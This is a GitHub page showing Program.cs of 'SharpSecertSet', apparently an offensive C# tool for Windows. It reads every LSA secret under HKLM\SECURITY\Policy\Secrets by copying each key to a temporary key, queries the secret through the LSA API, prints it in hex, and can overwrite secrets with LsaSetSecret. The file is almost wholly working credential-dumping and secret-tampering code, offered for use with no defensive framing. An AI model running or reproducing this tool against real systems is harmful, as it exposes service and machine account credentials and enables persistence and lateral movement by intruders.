-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathProgram.cs
More file actions
239 lines (203 loc) · 9.03 KB
/
Program.cs
File metadata and controls
239 lines (203 loc) · 9.03 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
using System;
using System.Runtime.InteropServices;
using System.Text;
using Microsoft.Win32;
namespace SharpSecertSet
{
class Program
{
static void PrintHelp()
{
Console.WriteLine("Usage: %s dump [key]", System.AppDomain.CurrentDomain.FriendlyName);
Console.WriteLine("Usage: %s set key value --base64", System.AppDomain.CurrentDomain.FriendlyName);
}
static void Main(string[] args)
{
if (args.Length < 1)
{
PrintHelp();
}
else if (args[0] == "dump")
{
if (args.Length == 1)
{
DumpSecretOrAll(null);
}
else
{
DumpSecretOrAll(args[1]);
}
}
else if (args[0] == "set")
{
if (args.Length == 3)
{
WriteLSASecret(args[1], args[2]);
}
else if (args.Length == 4 && args[3] == "--base64")
{
//update from base64 string
}
else
{
PrintHelp();
}
}
}
public static string LSAUS2string(advapi32.LSA_UNICODE_STRING lsaus)
{
char[] cvt = new char[lsaus.Length / UnicodeEncoding.CharSize];
Marshal.Copy(lsaus.Buffer, cvt, 0, lsaus.Length / UnicodeEncoding.CharSize);
return new string(cvt);
}
public static string ByteArrayToString(byte[] ba)
{
StringBuilder hex = new StringBuilder(ba.Length * 2);
foreach (byte b in ba)
hex.AppendFormat("{0:x2}", b);
return hex.ToString();
}
public static bool RenameSubKey(RegistryKey parentKey,
string subKeyName, string newSubKeyName)
{
CopyKey(parentKey, subKeyName, newSubKeyName);
parentKey.DeleteSubKeyTree(subKeyName);
return true;
}
public static bool CopyKey(RegistryKey parentKey,
string keyNameToCopy, string newKeyName)
{
//Create new key
RegistryKey destinationKey = parentKey.CreateSubKey(newKeyName);
//Open the sourceKey we are copying from
RegistryKey sourceKey = parentKey.OpenSubKey(keyNameToCopy);
RecurseCopyKey(sourceKey, destinationKey);
return true;
}
private static void RecurseCopyKey(RegistryKey sourceKey, RegistryKey destinationKey)
{
//copy all the values
foreach (string valueName in sourceKey.GetValueNames())
{
object objValue = sourceKey.GetValue(valueName);
RegistryValueKind valKind = sourceKey.GetValueKind(valueName);
destinationKey.SetValue(valueName, objValue, valKind);
}
//For Each subKey
//Create a new subKey in destinationKey
//Call myself
foreach (string sourceSubKeyName in sourceKey.GetSubKeyNames())
{
RegistryKey sourceSubKey = sourceKey.OpenSubKey(sourceSubKeyName);
RegistryKey destSubKey = destinationKey.CreateSubKey(sourceSubKeyName);
RecurseCopyKey(sourceSubKey, destSubKey);
}
}
static void DumpSecretOrAll(string target)
{
var Secrets = Registry.LocalMachine.OpenSubKey(@"SECURITY\Policy\Secrets", true);
foreach (var key in Secrets.GetSubKeyNames())
{
if (string.IsNullOrWhiteSpace(target) || key == target) {
const string newKeyName = "TempSecret";
CopyKey(Secrets, key, newKeyName);
var secret = ReadLSASecret(newKeyName);
Console.WriteLine("{0}: {1}", key, ByteArrayToString(secret));
Secrets.DeleteSubKeyTree(newKeyName);
}
}
}
static void PopulateLsaUnicodeString(string s, ref advapi32.LSA_UNICODE_STRING lus)
{
lus.Buffer = Marshal.StringToHGlobalUni(s);
lus.Length = (UInt16)(s.Length * UnicodeEncoding.CharSize);
lus.MaximumLength = (UInt16)((s.Length + 1) * UnicodeEncoding.CharSize);
}
static byte[] ReadLSASecret(string key)
{
var lsaPolicyHandle = GetPolicyHandle();
var secretName = new advapi32.LSA_UNICODE_STRING();
PopulateLsaUnicodeString(key, ref secretName);
var secretHandle = IntPtr.Zero;
var ntsResult = advapi32.LsaOpenSecret(lsaPolicyHandle, ref secretName, (uint)advapi32.LSA_SecretAccess.SECRET_QUERY_VALUE, out secretHandle);
var lsaNtStatusToWinError = advapi32.LsaNtStatusToWinError(ntsResult);
if (lsaNtStatusToWinError != 0)
{
throw new Exception(String.Format("LsaOpenSecret Error: {0}", lsaNtStatusToWinError));
}
IntPtr secretValue = IntPtr.Zero;
ntsResult = advapi32.LsaQuerySecret(secretHandle, out secretValue, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
if (ntsResult != 0)
{
throw new Exception(String.Format("LsaQuerySecret Error: {0}", ntsResult));
}
var currentData = (advapi32.LSA_UNICODE_STRING)Marshal.PtrToStructure(secretValue, typeof(advapi32.LSA_UNICODE_STRING));
var SecretData = new byte[currentData.Length];
Marshal.Copy(currentData.Buffer, SecretData, 0, SecretData.Length);
advapi32.LsaClose(lsaPolicyHandle);
return SecretData;
}
static void dumpOLD(string key)
{
var lsaPolicyHandle = GetPolicyHandle();
//Secret Name
var secretName = new advapi32.LSA_UNICODE_STRING();
secretName.Buffer = Marshal.StringToHGlobalUni(key);
secretName.Length = (UInt16)(key.Length * UnicodeEncoding.CharSize);
secretName.MaximumLength = (UInt16)((key.Length + 1) * UnicodeEncoding.CharSize);
// Retrieve Private Data
var privateData = IntPtr.Zero;
var ntsResult = advapi32.LsaRetrievePrivateData(lsaPolicyHandle, ref secretName, out privateData);
var lsaClose = advapi32.LsaClose(lsaPolicyHandle);
var lsaNtStatusToWinError = advapi32.LsaNtStatusToWinError(ntsResult);
if (lsaNtStatusToWinError != 0)
{
Console.WriteLine("LsaRetrievePrivateData error: {0}", lsaNtStatusToWinError);
return;
}
var lusSecretData = (advapi32.LSA_UNICODE_STRING)Marshal.PtrToStructure(privateData, typeof(advapi32.LSA_UNICODE_STRING));
var value = Marshal.PtrToStringAuto(lusSecretData.Buffer);
//value = value.Substring(0, lusSecretData.Length / 2);
//var SecretData = new byte[lusSecretData.Length];
//Marshal.Copy(lusSecretData.Buffer, SecretData, 0, SecretData.Length);
//Console.WriteLine("Newnew {0}: {1}", key, value);
//Console.WriteLine("{0}: {1}", key, LSAUS2string(lusSecretData));
}
static IntPtr GetPolicyHandle()
{
var objectAttributes = new advapi32.LSA_OBJECT_ATTRIBUTES();
var localsystem = new advapi32.LSA_UNICODE_STRING();
var lsaPolicyHandle = IntPtr.Zero;
var lsaOpenPolicyHandle = advapi32.LsaOpenPolicy(ref localsystem, ref objectAttributes,
(uint)advapi32.LSA_AccessPolicy.POLICY_GET_PRIVATE_INFORMATION, out lsaPolicyHandle);
if (lsaOpenPolicyHandle != 0)
{
Console.WriteLine("LsaOpenPolicy Error: {0}", lsaOpenPolicyHandle);
System.Environment.Exit(1);
}
return lsaPolicyHandle;
}
static void WriteLSASecret(string key, string value)
{
var lsaPolicyHandle = GetPolicyHandle();
var secretName = new advapi32.LSA_UNICODE_STRING();
PopulateLsaUnicodeString(key, ref secretName);
var secretNewValue = new advapi32.LSA_UNICODE_STRING();
PopulateLsaUnicodeString(value, ref secretNewValue);
var secretHandle = IntPtr.Zero;
var ntsResult = advapi32.LsaOpenSecret(lsaPolicyHandle, ref secretName, 1, out secretHandle);
var lsaNtStatusToWinError = advapi32.LsaNtStatusToWinError(ntsResult);
if (lsaNtStatusToWinError != 0)
{
Console.WriteLine("LsaOpenSecret Error: {0}", lsaNtStatusToWinError);
}
ntsResult = advapi32.LsaSetSecret(secretHandle, ref secretNewValue, ref secretNewValue);
lsaNtStatusToWinError = advapi32.LsaNtStatusToWinError(ntsResult);
if (lsaNtStatusToWinError != 0)
{
Console.WriteLine("LsaSetSecret Error: {0}", lsaNtStatusToWinError);
}
advapi32.LsaClose(lsaPolicyHandle);
}
}
}